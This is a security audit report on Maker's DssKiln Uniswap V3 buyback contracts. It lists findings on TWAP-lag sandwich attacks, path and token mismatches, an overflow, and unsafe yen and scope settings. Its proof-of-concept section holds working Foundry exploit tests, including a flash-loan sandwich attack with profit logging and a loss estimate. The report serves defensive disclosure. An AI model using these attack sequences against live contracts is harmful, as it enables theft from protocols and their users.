Security Audit
December 22, 2022
Version 1.0.0
Presented by 0xMacro
This document includes the results of the security audit for Maker's smart contract code as found in the section titled ‘Source Code’. The security audit was performed by the Macro security team from November 7, 2022 to November 18, 2022.
The purpose of this audit is to review the source code of certain Maker Solidity contracts, and provide feedback on the design, architecture, and quality of the source code with an emphasis on validating the correctness and security of the software in its entirety.
Disclaimer: While Macro’s review is comprehensive and has surfaced some changes that should be made to the source code, this audit should not solely be relied upon for security, as no single audit is guaranteed to catch all possible bugs.
The following is an aggregation of issues found by the Macro Audit team:
| Severity | Count | Acknowledged | Won't Do | Addressed |
|---|---|---|---|---|
| Medium | 1 | 1 | - | - |
| Low | 2 | 2 | - | - |
| Code Quality | 7 | 4 | - | 3 |
| Informational | 5 | 3 | - | 2 |
Maker was quick to respond to these issues.
Our understanding of the specification was based on the following sources:
The following source code was reviewed during the audit:
a4bd20c8c57a6dcb3535d3568a91e16c5353a831
Specifically, we audited the following contracts within this repository:
| Source Code | SHA256 |
|---|---|
| src/KilnBase.sol |
|
| src/KilnMom.sol |
|
| src/KilnUniV3.sol |
|
| src/univ3/BytesLib.sol |
|
| src/univ3/FullMath.sol |
|
| src/univ3/Path.sol |
|
| src/univ3/PoolAddress.sol |
|
| src/univ3/TickMath.sol |
|
| src/univ3/TwapProduct.sol |
|
Click on an issue to jump to it, or scroll down to see them all.
Rug event will be emitted even when the transfer of sell tokens fails
yen value
scope can overflow when cast from uint32 to int32
_min(GemLike(sell).balanceOf(address(this)), lot) is greater than type(uint128).max, the swap will fail
fire() will revert if the sell token is not the same as the first token stated in the path
yen swaps, resulting in potentially significant losses due to manipulated slippage
scope = 0, resulting in potentially significant losses due to manipulated slippage
yen value
We quantify issues in three parts:
This third part – the severity level – is a summary of how much consideration the client should give to fixing the issue. We assign severity according to the table of guidelines below:
| Severity | Description |
|---|---|
|
(C-x) Critical |
We recommend the client must fix the issue, no matter what, because not fixing would mean significant funds/assets WILL be lost. |
|
(H-x) High |
We recommend the client must address the issue, no matter what, because not fixing would be very bad, or some funds/assets will be lost, or the code’s behavior is against the provided spec. |
|
(M-x) Medium |
We recommend the client to seriously consider fixing the issue, as the implications of not fixing the issue are severe enough to impact the project significantly, albiet not in an existential manner. |
|
(L-x) Low |
The risk is small, unlikely, or may not relevant to the project in a meaningful way. Whether or not the project wants to develop a fix is up to the goals and needs of the project. |
|
(Q-x) Code Quality |
The issue identified does not pose any obvious risk, but fixing could improve overall code quality, on-chain composability, developer ergonomics, or even certain aspects of protocol design. |
|
(I-x) Informational |
Warnings and things to keep in mind when operating the protocol. No immediate action required. |
|
(G-x) Gas Optimizations |
The presented optimization suggestion would save an amount of gas significant enough, in our opinion, to be worth the development cost of implementing it. |
The motivation for DssKiln is to help a DAO to implement a dollar-cost-average asset buying strategy; in particular, to implement it in a permissionless way. One way this is useful is for buying back a DAO’s governance tokens — for example, MKR.
DssKiln allows anyone to call fire() in a permissionless way to swap sell tokens for buy tokens.
To avoid sandwich attacks targeting kiln's swaps, kiln uses
quote(), andyento calculate the minimum amount of buy tokens to accept in the swap.
The amountMin calculation in source is:
uint256 amountMin = (_yen != 0) ? quote(_path, amount, uint32(scope)) * _yen / WAD : 0;
Here is the initial use case for Kiln, communicated by the Maker team, indicating that it is unlikely there is a profitable attack, which we will try to refute:
We do, however, believe that for the initial planned amount lot of 30K dai, over the planned path of [DAI, 0.01%, USDC, 0.05%, WETH, 0.3%, MKR], sandwiching would most likely be unprofitable due to the Uniswap fees on the 2 trades (even with min amount as 0, and even before accounting for gas). This can be roughly checked in any given moment by simulating a "buy mkr -> kiln.fire(lot=30K) -> sell mkr" sequence in a single tx, and checking if there is dai profit.
The quote() derived from TWAP can lag behind the spot price because averages like TWAP, by design, lag behind the spot price when the spot price sharply changes.
In a swap from A to B, when B sharply drops in price, quote() overvalues the buy token, incentivizing a sandwich attack. Below, we will quantitatively show this.
Consider TWAP for B being 10% above the spot price. a) quote() would return an amountOut 10% lower than b) the amountOut derived from spot price. In other words, kiln accepts trades that are 10% overvalued.
Noticing this, an attacker can almost guarantee themself as the caller of fire() as soon as
kiln is ready to swap again by using off-chain bots to call their malicious contract and
then spend enough on priority fees.
Specifically, they will:
fire() on KilnUniV3.solattackAmount + flashLoanFeelot size to a smaller amount, like 15_000 DAI. We could not turn a profit in the proof of concept attack using 15_000 DAI and 10% price lag, but this may not hold in all market conditions.Thank you for finding this sandwiching case. Indeed for every usage of dss-kiln the liquidity status along the path should be taken into account and
lotshould be selected carefully. Off chain oracles or TWAMMs should be considered for later versions.
The bought token is the last token stated in the path.
However, this token may not necessarily be the same as the buy token set in the constructor.
Therefore, a different token can be bought that is not the buy token, and sell tokens will be lost.
buy token.The buy token should be configured carefully and validated prior to deployment.
Rug event will be emitted even when the transfer of sell tokens fails
In KilnBase.sol line 96, there is no guarantee that the sell token reverts when the transfer function fails. The transfer could be unsuccessful and return false, and the Rug event will still be emitted. This could cause confusion for the authority and users of the contract.
safeTransfer instead of transfer.Rug events for tokens that return false on transfer failure can be incorrect.Although using a token that only relies on a return value is possible, we think it is generally rare and unlikely for Maker to do. Therefore we would rather not complicate the code as long as it is not a clear security issue.
yen value
Regarding yen, README.md states: “By lowering this value you can seek to trade at a better than average price, or by raising the value you can account for price impact or additional slippage.” (bold added). However, the opposite is true.
Consider switching lowering and raising.
Switched "lowering" and "raising" as suggested.
scope can overflow when cast from uint32 to int32
In TwapProduct.sol:
function _consult(...uint32 scope) ... {
...
arithmeticMeanTick = int24(tickCumulativesDelta / int56(int32(scope)));
...
}
function quote(...) ... {
...
int24 arithmeticMeanTick = _consult(_getPool(tokenIn, tokenOut, fee), scope);
...
amountIn = _getQuoteAtTick(arithmeticMeanTick, uint128(amountIn), tokenIn, tokenOut);
}
This will cause the variable arithmeticMeanTick to be incorrect, which will result in an incorrect value returned from _getQuoteAtTick(). However, currently, scope values as low as 4 hours revert with OLD (source) so this scenario is particularly unlikely.
Consider changing
require(data <= type(uint32).max, "KilnUniV3/scope-overflow"); torequire(data <= type(int32).max, "KilnUniV3/scope-overflow"); in KilnUniV3.sol.Now checking
scopeis lower thantype(int32).max
_min(GemLike(sell).balanceOf(address(this)), lot) is greater than type(uint128).max, the swap will fail
In TwapProduct.sol line 49, an overflow error will occur if the amountIn being swapped is greater than type(uint128).max. The amount being swapped is the minimum amount of GemLike(sell).balanceOf(address(this)) and lot in KilnBase.sol.
However, nothing is preventing either of these two values from being greater than type(uint128).max.
If both of them are greater than this value, the swap will revert to an overflow error.
We think the explicit require in
quoteis enough for this low probability case.
Illiquidity comes in 3 forms: no liquidity, concentrated, and skewed.
Using a TWAP of pool with no liquidity is easily manipulated. For example, for an A -> B swap, an attacker can, at virtually no cost, bring the price of A close to 0 by selling A into the pool, and keep the price there for some number of blocks to change the TWAP.
For a concentrated pool, the attacker can sell A into the pool until B liquidity is consumed, then the scenario is reduced to the no liquidity case. As the liquidity is concentrated, loss to slippage is small compared to a skewed pool.
For a skewed pool, the attacker can sell A into the pool as in the concentrated case, but the loss to slippage is higher because of the above-market price attacker is paying for B.
Consider providing sufficient documentation and a warning for Maker’s proposal draft and stakeholders as well as public users on how to detect illiquidity.
Thank you for highlighting these considerations. They should be taken into account and monitored per deployment.
fire() will revert if the sell token is not the same as the first token stated in the path
The token that kiln tries to sell is the first token stated in the path.
However, this token may not necessarily be the same as the sell token set in the constructor.
Therefore, the Kiln can try to sell a different token but will revert since the Router only has the approval to transfer the sell token.
sell token.The sell token should be configured carefully and validated prior to deployment.
Kilns expose separate functions to update individual configuration values. This potentially requires users to perform multiple transactions to affect the full set of changes.
This incurs higher gas costs and also creates risk in that the parameters may be only partially updated to their final state when fire() is triggered, which may allow undesirable swaps to be executed.
Consider updating the contract to allow the entire set of configurations to be updated atomically. For example, adding a function that allows all configurations to be modified at once.
The single value configuration is the common practice in Maker contracts but indeed requires changes to be done carefully and to be validated prior to deployment.
The README.md states:
yen is set to WAD, which will require that a trade will only execute when the amount received is better than the average price over the past scope period.”However, KilnUniV3.sol calculates the average price over the past scope period and only buys tokens when it can trade at a price better or the same as the previous 1-hour average, as seen on line 165 of Uniswap V3’s SwapRouter.sol.
Change the documentation to state:
yen is set to WAD, which will require that a trade will only execute when the amount received is better than or the same as the average price over the past scope period.”Fixed documentation to use "better or the same" phrasing.
yen swaps, resulting in potentially significant losses due to manipulated slippage
An attacker can execute fire() inside a flash-loan callback: they sandwich attack the kiln path pools. The impact and attractiveness of such an attack are controlled by amountMin, which is partially controlled by yen (ref).
The amountMin calculation is:
uint256 amountMin = (_yen != 0) ? quote(_path, amount, uint32(scope)) * _yen / WAD : 0;
The most damaging consequences occur when yen is 0 and amountMin is also 0. This allows swaps to be complete with unbounded slippage and/or price impact.
The potential for damage decreases linearly as yen increases until it yields an amountMin corresponding to the market price or its TWAP value.
For example, consider a simple UniV3Kiln with path = abi.encodePacked(WETH, uint24(3000), MKR) and yen = 0.
An attacker can take a large WETH flash-loan, and inside its callback:
path.kiln.fire(), now based on highly unfavorable slippage.In this way, an attacker can create a flash loan to set a level of slippage which forces amountOut down to amountMin.
Consider limiting the minimum value of yen.
Added a warning in the source and Readme for cautiously using yen = 0 or other low values.
scope = 0, resulting in potentially significant losses due to manipulated slippage
This issue is very similar to I-1 in impact.
Consider enforcing a sane minimum when setting scope in file(bytes32 what, uint256 data) and removing support for scope == 0 in _consult().
"Removed support for scope = 0.
Added a warning in the source and Readme for cautiously using low scope values."
yen value
Imagine the following scenario:
yen = WADscope = 6 hoursAs long as yen = WAD and the downward trend continues, all calls to fire() will revert because the TWAP-based amountMin will be higher than what is received based on the spot price. A yen value of ~0.75 or less may be needed in some scenarios to maintain consistent purchasing during a price drop for A.
Keep this in mind considering that MakerDAO has expressed not wanting to manually monitor yen.
Depending on the needs of the specific use case (maximizing revenues or throughput, always avoiding sandwich attacks, etc..)
yenmight need to be adjusted over time.
Imagine the following scenario:
yen = WADscope = 6 hoursAs long as the upward trend continues, the TWAPedOut will be significantly lower than the currentPriceOut, potentially resulting in a sandwich attack. This problem is exacerbated by lower values of yen.
Imagine a swap where yen = WAD , and the delta between the TWAP amountOut and the spot amountOut alone may not be large enough to make a sandwich attack profitable. However, the implicit scaling down of amountOutMinimum due to the lagging TWAP price, and the explicit scaling down by yen = 98 * WAD / 100, may make such an attack profitable.
Keep this in mind, considering that MakerDAO has expressed not wanting to manually monitor yen.
Depending on the needs of the specific use case (maximizing revenues or throughput, always avoiding sandwich attacks, etc..)
yenmight need to be adjusted over time.
Due to the adoption of PoS, the next block proposer is known 6 minutes and 24 seconds in advance. If a validator knows it’s in control of two consecutive blocks, it can now ensure that it back-runs its manipulation in the second block — something which was impossible to know in PoW.
An example:
This manipulation is done risk-free since the validator/manipulator has full control over transaction ordering in the second block, making it impossible for arbitrageurs to interfere.
This requires a large amount of capital, but the more blocks a validator has in a row, the more the cost of manipulation decreases and becomes more feasible.
If the TWAP oracle gets manipulated, this can affect the amountMin value that KilnUniV3 calculates in _swap. It can cause the amountMin to be lower than expected and slippage to occur.
Lower values of yen can exacerbate the problem.
If multi-block oracle manipulation becomes a common problem the usage of this version of dss-kiln would need to be revised.
To compute the arbitrage loss, in particular the worst-case scenario, this proof of concept will:
Using a flash loan of 235 WETH means:
0.419 WETH, before accounting for gas or priority fee.3.649 MKR.As per Maker, the initial plan is to execute fire() of a lot size 30,000 DAI for 100 times for a total of 3 million DAI.
Considering the worst case, where there is a 10% price lag during each fire(), then:
364.9 MKR = 3.649 MKR * 100.41.9 WETH = 0.419 WETH * 100.364.9 MKR * $660.00 (current market price of MKR) = $240,834 loss for Maker.$240,834 / 3 million DAI = an overall loss of 8.0278%
// forge test --use solc:0.8.14 --rpc-url=$ETH_RPC_URL --match testTWAPMispriceShortPath --fork-block-number 15992230 -vvvv
// Copy into existing KilnUniV3.t.sol
contract Attacker {}
// Same as swap but paths are WETH->MKR or MKR->WETH and to arg
function shortRecipSwap(address gem, uint256 amount, address to) public {
require(GemLike(gem).approve(kiln.uniV3Router(), amount));
bytes memory _path;
if (gem == WETH) {
_path = abi.encodePacked(WETH, uint24(3000), MKR);
} else {
_path = abi.encodePacked(MKR, uint24(3000), WETH);
}
ExactInputParams memory params = ExactInputParams(
_path,
to, // recipient
block.timestamp, // deadline
amount, // amountIn
0 // amountOutMinimum
);
SwapRouterLike(kiln.uniV3Router()).exactInput(params);
}
function testTWAPMispriceShortPath() public {
Attacker attacker = new Attacker(); //just an empty contract
kiln.file("lot", 30_000 * WAD); // drop to expected lot size
//use this as a proxy for quote returning amountOut value that is 10% lower than spot price
kiln.file("yen", 90 * WAD / 100);
kiln.file("scope", 4 hours);
mintDai(address(kiln), 30_000 * WAD);
assertEq(GemLike(DAI).balanceOf(address(kiln)), 30_000 * WAD);
uint256 mkrSupply = TestGem(MKR).totalSupply();
assertTrue(mkrSupply > 0);
uint256 _est = estimate(30_000 * WAD);
assertTrue(_est > 0);
assertEq(GemLike(MKR).balanceOf(address(attacker)), 0);
//-------Start attack executing atomically----------
vm.startPrank(address(attacker));
uint256 loanAmt = 235 ether; // .419 ether profit, 3.649 mkr loss
mintWeth(address(attacker), loanAmt); // funds for manipulating prices, assume this was flash loaned
// drive down MKR out amount with big WETH->MKR swap
shortRecipSwap(WETH, loanAmt, address(attacker)); //same as recipSwap, just with shorter paths
kiln.fire();
assertTrue(GemLike(DAI).balanceOf(address(kiln)) < 30_000 * WAD);
assertLt(GemLike(MKR).balanceOf(address(user)), _est);
shortRecipSwap(MKR, GemLike(MKR).balanceOf(address(attacker)), address(attacker));
assertGt(GemLike(WETH).balanceOf(address(attacker)), loanAmt);
//payback loan with interest
uint256 flashLoanFee = loanAmt * 9 / 10_000;
GemLike(WETH).transfer(WETH, loanAmt + flashLoanFee);
vm.stopPrank();
//----------End attack atomic execution-------------
console.log("Attacker profit: %s", GemLike(WETH).balanceOf(address(attacker)));
console.log("Kiln receiver MKR Loss: %s ", (_est - GemLike(MKR).balanceOf(address(user))));
console.log("Kiln receiver MKR Loss: %s WAD", (_est - GemLike(MKR).balanceOf(address(user))) / WAD);
}
yen settingFor emulating an over-valuation due to price lag, note that a) yen = 90 * WAD / 100 and b) quote returning value close to spot-price-derived amountOut is equivalent to c) yen = WAD and d) quote returning a value 10% lower than spot price amountOut.
To demonstrate the issue, copy the following content into src/KilnUniV3.t.sol and run forge test --use solc:0.8.14 --rpc-url="$ETH_RPC_URL" -vvv --match-test testFireWithIncorrectBuyPath.
function testFireWithIncorrectBuyPath() public {
mintDai(address(kiln), 50_000 * WAD);
assertEq(GemLike(MKR).balanceOf(address(user)), 0);
kiln.file("yen", 80 * WAD / 100);
assertEq(GemLike(WETH).balanceOf(address(user)), 0);
// Configure path to buy WETH
kiln.file("path", abi.encodePacked(DAI, uint24(100), USDC, uint24(500), WETH));
assertEq(kiln.path(), abi.encodePacked(DAI, uint24(100), USDC, uint24(500), WETH));
// Show that kiln buy is still MKR
assertEq(kiln.buy(), MKR);
kiln.fire();
// Swap results in acquiring the non-buy token
assertEq(GemLike(MKR).balanceOf(address(user)), 0);
assertTrue(GemLike(WETH).balanceOf(address(user)) > 0);
}
Copy the following content into src/KilnUniV3.t.sol and run forge test --use solc:0.8.14 --rpc-url="$ETH_RPC_URL" -vvv --match-test testFireWithMaxLot.
function testFireWithMaxLot() public {
mintDai(address(kiln), type(uint128).max + 1);
assertEq(GemLike(DAI).balanceOf(address(kiln)), type(uint128).max + 1);
kiln.file("yen", 80 * WAD / 100);
kiln.file("lot", type(uint128).max + 1);
vm.expectRevert("TwapProduct/amountIn-overflow");
kiln.fire();
}
To demonstrate this issue, copy the following content into src/KilnUniV3.t.sol and run forge test --use solc:0.8.14 --rpc-url="$ETH_RPC_URL" -vvv --match-test testFireWithIncorrectSellPath
function mintUSDC(address usr, uint256 amt) internal {
deal(USDC, usr, amt);
assertEq(GemLike(USDC).balanceOf(address(usr)), amt);
}
function testFireWithIncorrectSellPath() public {
mintUSDC(address(kiln), 50_000 * WAD);
mintDai(address(kiln), 50_000 * WAD);
assertEq(GemLike(USDC).balanceOf(address(user)), 0);
assertEq(GemLike(MKR).balanceOf(address(user)), 0);
kiln.file("path", abi.encodePacked(USDC, uint24(100), DAI));
assertEq(kiln.sell(), DAI);
assertEq(kiln.buy(), MKR);
// This fails due to mismatch between kiln sell token and path
vm.expectRevert();
kiln.fire();
}
To demonstrate this issue, copy the following content to src/Macro_UniV3Kiln.t.sol and run forge test --use solc:0.8.14 --rpc-url="$ETH_RPC_URL" --match-path src/Macro_KilnUniV3.t.sol -vvv
// SPDX-FileCopyrightText: © 2022 Dai Foundation www.daifoundation.org
// SPDX-License-Identifier: AGPL-3.0-or-later
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <http://www.gnu.org/licenses>.
pragma solidity ^0.8.14;
import "forge-std/Test.sol";
import "./KilnUniV3.sol";
interface TestGem {
function totalSupply() external view returns (uint256);
}
// <https://github.com/Uniswap/v3-periphery/blob/v1.0.0/contracts/lens/Quoter.sol#L106-L122>
interface Quoter {
function quoteExactInput(
bytes calldata path,
uint256 amountIn
) external returns (uint256 amountOut);
}
contract User {}
contract KilnTest is Test {
KilnUniV3 kiln;
Quoter quoter;
User user;
bytes path;
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant MKR = 0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2;
uint256 constant WAD = 1e18;
uint256 constant LOT = 1_000 * WAD;
address constant ROUTER = 0xE592427A0AEce92De3Edee1F18E0157C05861564;
address constant QUOTER = 0xb27308f9F90D607463bb33eA1BeBb41C27CE5AB6;
address constant FACTORY = 0x1F98431c8aD98523631AE4a59f267346ea31F984;
event File(bytes32 indexed what, bytes data);
event File(bytes32 indexed what, uint256 data);
function setUp() public {
user = new User();
path = abi.encodePacked(WETH, uint24(3000), MKR);
kiln = new KilnUniV3(WETH, MKR, ROUTER, address(user));
quoter = Quoter(QUOTER);
kiln.file("lot", LOT);
kiln.file("hop", 6 hours);
kiln.file("path", path);
}
function mintWeth(address usr, uint256 amt) internal {
deal(WETH, usr, amt);
assertEq(GemLike(WETH).balanceOf(address(usr)), amt);
}
function estimate(uint256 amtIn) internal returns (uint256 amtOut) {
return quoter.quoteExactInput(path, amtIn);
}
function swap(address gem, uint256 amount) internal {
require(GemLike(gem).approve(kiln.uniV3Router(), amount));
bytes memory _path;
if (gem == WETH) {
_path = abi.encodePacked(WETH, uint24(3000), MKR);
} else {
_path = abi.encodePacked(MKR, uint24(3000), WETH);
}
ExactInputParams memory params = ExactInputParams(
_path,
address(this), // recipient
block.timestamp, // deadline
amount, // amountIn
0 // amountOutMinimum
);
SwapRouterLike(kiln.uniV3Router()).exactInput(params);
}
function testFlashLoanAttack_LowYen() public {
kiln.file("yen", 0);
uint256 wethFlashLoanAmt = 100_000 * WAD;
mintWeth(address(kiln), LOT);
assertEq(GemLike(WETH).balanceOf(address(kiln)), LOT);
// Estimate what a swap would yield if no attack was occurring
uint256 _nonAttackEstimate = estimate(LOT);
console2.log("Kiln Receiver MKR Estimate: %s <=====", _nonAttackEstimate);
console2.log("");
// Emulate flash-loan attack where attacker receives a large amount of
// WETH, and in the flash-loan callback:
// 1) swaps loaned WETH for MKR in same pool used by kiln
// 2) executes kiln.fire(), now based on highly unfavorable slippage
// 3) swaps MKR for WETH, now based on highly favorable slippage
// 4) repays loan and takes profit
// Emulate large flash-loan of WETH
console2.log("** Begin flashloan of WETH: ", wethFlashLoanAmt);
mintWeth(address(this), wethFlashLoanAmt);
uint256 _attackerMKR = GemLike(MKR).balanceOf(address(this));
console2.log(" Attacker MKR: ", _attackerMKR);
uint256 _attackerWETH = GemLike(WETH).balanceOf(address(this));
console2.log(" Attacker WETH: ", _attackerWETH);
assertEq(_attackerWETH, wethFlashLoanAmt);
// 1) swaps loaned WETH for MKR in same pool used by kiln
console2.log("** 1) swaps loaned WETH for MKR in same pool used by kiln");
swap(WETH, wethFlashLoanAmt);
_attackerMKR = GemLike(MKR).balanceOf(address(this));
console2.log(" Attacker MKR: ", _attackerMKR);
_attackerWETH = GemLike(WETH).balanceOf(address(this));
console2.log(" Attacker WETH: ", _attackerWETH);
// 2) executes kiln.fire(), now based on significant slippage
console2.log("** 2) executes kiln.fire(), now based on significant slippage");
kiln.fire();
uint256 _receiverMkr = GemLike(MKR).balanceOf(kiln.receiver());
console2.log(" Kiln Receiver MKR: %s <=====", _receiverMkr);
// 3) swaps MKR for WETH, now based on highly favorable slippage
console2.log("** 3) swaps MKR for WETH, now based on highly favorable slippage");
swap(MKR, _attackerMKR);
_attackerMKR = GemLike(MKR).balanceOf(address(this));
console2.log(" Attacker MKR: ", _attackerMKR);
_attackerWETH = GemLike(WETH).balanceOf(address(this));
console2.log(" Attacker WETH: ", _attackerWETH);
// 4) repays loan and takes profit
console2.log("** 4) repays loan and takes profit");
uint256 flashLoanFee = wethFlashLoanAmt * 9 / 10_000;
GemLike(WETH).transfer(WETH, wethFlashLoanAmt + flashLoanFee);
console2.log("");
console2.log("Kiln receiver MKR Loss: %s WAD", (_nonAttackEstimate - _receiverMkr) / WAD);
_attackerWETH = GemLike(WETH).balanceOf(address(this));
console2.log("Attacker WETH profit: %s WAD", _attackerWETH / WAD);
}
}
Modify the first line of testFlashLoanAttack() from I-1 Proof of Concept as the following:
function testFlashLoanAttack() public {
// kiln.file("yen", 0); // commented out
kiln.file("yen", 98 * WAD / 100);
kiln.file("scope", 0);
// remaining is unchanged
...
}
Macro makes no warranties, either express, implied, statutory, or otherwise, with respect to the services or deliverables provided in this report, and Macro specifically disclaims all implied warranties of merchantability, fitness for a particular purpose, noninfringement and those arising from a course of dealing, usage or trade with respect thereto, and all such warranties are hereby excluded to the fullest extent permitted by law.
Macro will not be liable for any lost profits, business, contracts, revenue, goodwill, production, anticipated savings, loss of data, or costs of procurement of substitute goods or services or for any claim or demand by any other party. In no event will Macro be liable for consequential, incidental, special, indirect, or exemplary damages arising out of this agreement or any work statement, however caused and (to the fullest extent permitted by law) under any theory of liability (including negligence), even if Macro has been advised of the possibility of such damages.
The scope of this report and review is limited to a review of only the code presented by the Maker team and only the source code Macro notes as being within the scope of Macro’s review within this report. This report does not include an audit of the deployment scripts used to deploy the Solidity contracts in the repository corresponding to this audit. Specifically, for the avoidance of doubt, this report does not constitute investment advice, is not intended to be relied upon as investment advice, is not an endorsement of this project or team, and it is not a guarantee as to the absolute security of the project. In this report you may through hypertext or other computer links, gain access to websites operated by persons other than Macro. Such hyperlinks are provided for your reference and convenience only, and are the exclusive responsibility of such websites’ owners. You agree that Macro is not responsible for the content or operation of such websites, and that Macro shall have no liability to your or any other person or entity for the use of third party websites. Macro assumes no responsibility for the use of third party software and shall have no liability whatsoever to any person or entity for the accuracy or completeness of any outcome generated by such software.